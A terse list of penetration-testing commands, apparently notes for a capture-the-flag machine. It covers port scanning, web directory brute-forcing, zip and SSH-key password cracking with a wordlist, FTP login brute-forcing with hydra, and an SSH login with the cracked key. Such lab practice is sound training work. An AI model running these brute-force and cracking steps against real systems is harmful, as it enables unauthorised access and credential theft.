$ rustscan -a ip_address

$ nmap -sC -sV ip_address
$ nmap -sC -sV -p21,80,1337 ip_address

$ gobuster dir -w /usr/share/dirb/wordlists/common.txt -t 50 -x php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx  -u ip_address

fcrackzip -D -p rockyou.txt -u backup.zip -v

$ hydra -l ftpuser -P rockyou.txt ftp://ip_address -V

wget -r ftp://username:password@ipaddress/

$ ssh2john id_rsa > id_rsa.hash
$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

$ ssh -i id_rsa user@ip_address -p 1337